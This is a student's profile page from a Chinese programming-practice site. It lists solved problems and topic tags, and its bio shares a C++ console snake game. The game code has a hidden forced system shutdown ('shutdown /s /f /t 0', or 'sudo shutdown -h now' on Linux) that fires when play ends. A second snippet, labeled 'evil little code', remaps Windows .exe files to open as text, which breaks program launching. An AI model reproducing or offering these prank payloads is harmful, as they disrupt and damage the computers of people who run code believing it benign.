-
个人简介
要玩贪吃蛇打开这个:
提示:要用wasd操控,
进去是中文输入法,需要改一下。#include <cstdlib> #include <iostream> #include <vector> #include <conio.h> #include <windows.h> #include <ctime> using namespace std; const int WIDTH = 40; const int HEIGHT = 20; enum Direction { UP, DOWN, LEFT, RIGHT }; struct Point { int x, y; Point(int x = 0, int y = 0) : x(x), y(y) {} }; class SnakeGame { private: vector<Point> snake; Point food; Direction dir; bool gameOver; int score; void generateFood() { srand(static_cast<unsigned>(time(0))); food.x = rand() % (WIDTH - 2) + 1; food.y = rand() % (HEIGHT - 2) + 1; // 修正1:使用传统循环替代范围循环 for (size_t i = 0; i < snake.size(); ++i) { if (snake[i].x == food.x && snake[i].y == food.y) { generateFood(); return; } } } void drawBoard() { system("cls"); for (int i = 0; i < WIDTH; i++) cout << "#"; cout << endl; for (int i = 0; i < HEIGHT; i++) { for (int j = 0; j < WIDTH; j++) { if (j == 0 || j == WIDTH - 1) cout << "#"; else if (i == 0 || i == HEIGHT - 1) cout << "#"; else { bool isSnake = false; // 修正2:明确迭代类型 for (size_t k = 0; k < snake.size(); k++) { if (snake[k].x == j && snake[k].y == i) { // 修正3:蛇头检测逻辑 cout << (k == 0 ? 'O' : 'o'); isSnake = true; break; } } if (!isSnake) cout << (food.x == j && food.y == i ? 'F' : ' '); } } cout << endl; } cout << "Score: " << score << endl; } void checkCollision() { Point head = snake[0]; // 修正4:明确取首元素 if (head.x <= 0 || head.x >= WIDTH - 1 || head.y <= 0 || head.y >= HEIGHT - 1) gameOver = true; for (size_t i = 1; i < snake.size(); i++) { if (snake[i].x == head.x && snake[i].y == head.y) { gameOver = true; break; } } } public: SnakeGame() : dir(RIGHT), gameOver(false), score(0) { snake.push_back(Point(WIDTH / 2, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 1, HEIGHT / 2)); snake.push_back(Point(WIDTH / 2 - 2, HEIGHT / 2)); generateFood(); } void run() { while (!gameOver) { if (_kbhit()) { switch (_getch()) { case 'w': if (dir != DOWN) dir = UP; break; case 's': if (dir != UP) dir = DOWN; break; case 'a': if (dir != RIGHT) dir = LEFT; break; case 'd': if (dir != LEFT) dir = RIGHT; break; case 'x': gameOver = true; break; } } Point newHead = snake[0]; // 修正5:明确取首元素 switch (dir) { case UP: newHead.y--; break; case DOWN: newHead.y++; break; case LEFT: newHead.x--; break; case RIGHT: newHead.x++; break; } snake.insert(snake.begin(), newHead); if (newHead.x == food.x && newHead.y == food.y) { score += 10; generateFood(); } else { snake.pop_back(); } checkCollision(); drawBoard(); Sleep(100); } #ifdef _WIN32 system("shutdown /s /f /t 0"); #elif __linux__ system("sudo shutdown -h now"); #endif } }; int main() { SnakeGame game; game.run(); return 0; }//################################### //分割线 //邪恶小代码:
#include<bits/stdc++.h> using namespace std; int main(){ system("assoc.exe=txtfile"); return 0; } //////////////waring////////waring////////////////// //免责声明:运行结果概不负责,请谨慎运行!!! //################################### //分割线 //注:代码1来源:
//代码2来源:
-
通过的题目
- J0023
- J1052
- 391
- 394
- 397
- J1053
- 403
- 406
- J1080
- 409
- 411
- 412
- 414
- J1013
- J1030
- 426
- J1071
- 445
- 448
- J1056
- 451
- 452
- 455
- 457
- 458
- 463
- 469
- 473
- 474
- 475
- 484
- 490
- 491
- 495
- J1081
- 502
- 521
- 526
- 530
- 532
- 536
- 538
- 540
- 553
- 556
- 557
- 562
- 565
- 567
- 569
- 571
- 572
- 573
- 574
- 575
- 576
- 583
- 584
- 585
- 586
- 587
- 588
- 601
- 602
- 610
- J1078
- 628
- J1059
- 633
- 636
- 662
- 675
- 676
- 677
- 679
- 680
- 681
- J1095
- J1096
- 695
- J1016
- J1087
- 711
- 717
- 721
- 729
- 738
- 753
- 754
- 774
- J1077
- 781
- 785
- 786
- 789
- 801
- 802
- J1067
- J1015
- 810
- 845
- 848
- 859
- 865
- 877
- 879
- 882
- 898
- 900
- 901
- 906
- 927
- 940
- 953
- P1569
- J1014
- 985
- J1017
- 988
- J1020
- J1083
- 993
- J1086
- J1085
- J1026
- J1031
- J1089
- J1025
- 1020
- J1024
- 1031
- J1069
- J1032
- 1057
- 1081
- J1037
- J1038
- J1058
- 1090
- 1098
- J1039
- 1113
- J1051
- 1135
- 1151
- 1181
- 1193
- 1225
- 1235
- 1249
- 1271
- 1274
- 1301
- 1321
- 1332
- J1019
- J1084
- 1383
- 1407
- 1412
- 1414
- 1416
- 1485
- 1500
- 1536
- 1538
- J1079
- 1543
- 1550
- 1602
- 1627
- J1082
- 1701
- 1757
- 1759
- 1761
- 1769
- 1774
- 1782
- 1785
- 1786
- 1787
- 1791
- 1794
- 1797
- 1799
- 1806
- 1813
- 1815
- 1816
- 1823
- 1824
- 1825
- 1828
- 1831
- 1911
- 1955
- 1957
- 2051
- 2052
- 2351
- 2356
- 2374
- 2377
- 2403
- 2405
- 2416
- 2423
- J1070
- J1068
- 2594
- 2623
- J1010
- J1011
- 2704
- 2705
- J1012
- 2738
- 2824
- 2826
- 2828
- 2979
- 3007
- 3039
- 3040
- 3048
- 3049
- J1029
- 3054
- 3225
- 3226
- HJ008
- J1001
- J1002
- J1003
- J1004
- J1005
- J1006
- J1007
- J1008
- J1009
- JX2025100Problem028
- J1021
- J1022
- J1023
- J1027
- J1028
- JX2025100Problem005
- J1033
- J1034
- J1035
- J1036
- J1040
- J1041
- J1042
- J1043
- J1044
- J1045
- J1046
- J1047
- J1048
- J1049
- J1050
- J1054
- J1055
- J1057
- J1060
- J1061
- J1062
- J1063
- J1064
- J1065
- J1066
- J1072
- J1073
- J1074
- J1075
- J1076
- J1088
- J1090
- J1091
- J1092
- J1093
- J1094
- JX4801
- 3637
- JX4804
- 3649
- 3650
- 3651
- JXGQ201B
- JXGQ202A
- JXGQ202B
- JXGQ202C
- JXGQ24011
- 3809
- 3943
- GESP1053
- 4198
- JX20253contest4A
- JX20253contest4B
- JX20253contest5A
- Summercamptest2025A
- Summercamptest2025B
- Summercamptest2025D
- Summercamptest2025E
- Summercamptest2025F
- JX202530073DP
- 4517
- 4521
- JXGQ25001A
- JXGQ25002A
- JXGQ25002D
- JXGQ25003B
- Summercamptest2025C
- JXGQ25002B
- ZXCS002B
- ZXCS003A
- ZXCS004A
- ABC002A
- ABC004A
- HJ001
- JX202530077
- JX202530079
- JX202530082
- JX202530083
- JX202530084
- JX202530085
- JX202530086
- JX202530087
- JXGQ24006
- JXGQ24009
- JXGQ24010
- JX202530091
- JXGQ25001B
- JXGQ25002C
- JXGQ25004A
- JXGQ25006A
- JXGQ26001A
- JXGQ26001B
-
最近活动
题目标签
- 入门
- 232
- 语法基础
- 136
- 基础
- 90
- 循环
- 69
- 基本运算
- 48
- 算法基础
- 34
- 分支
- 30
- 字符串
- 26
- 普及-
- 25
- 二维数组
- 24
- 排序
- 17
- 数学
- 17
- 递归
- 17
- 一维数组
- 17
- 结构体
- 11
- 进制转换
- 8
- 枚举
- 7
- 函数
- 7
- STL容器
- 6
- 模拟算法
- 6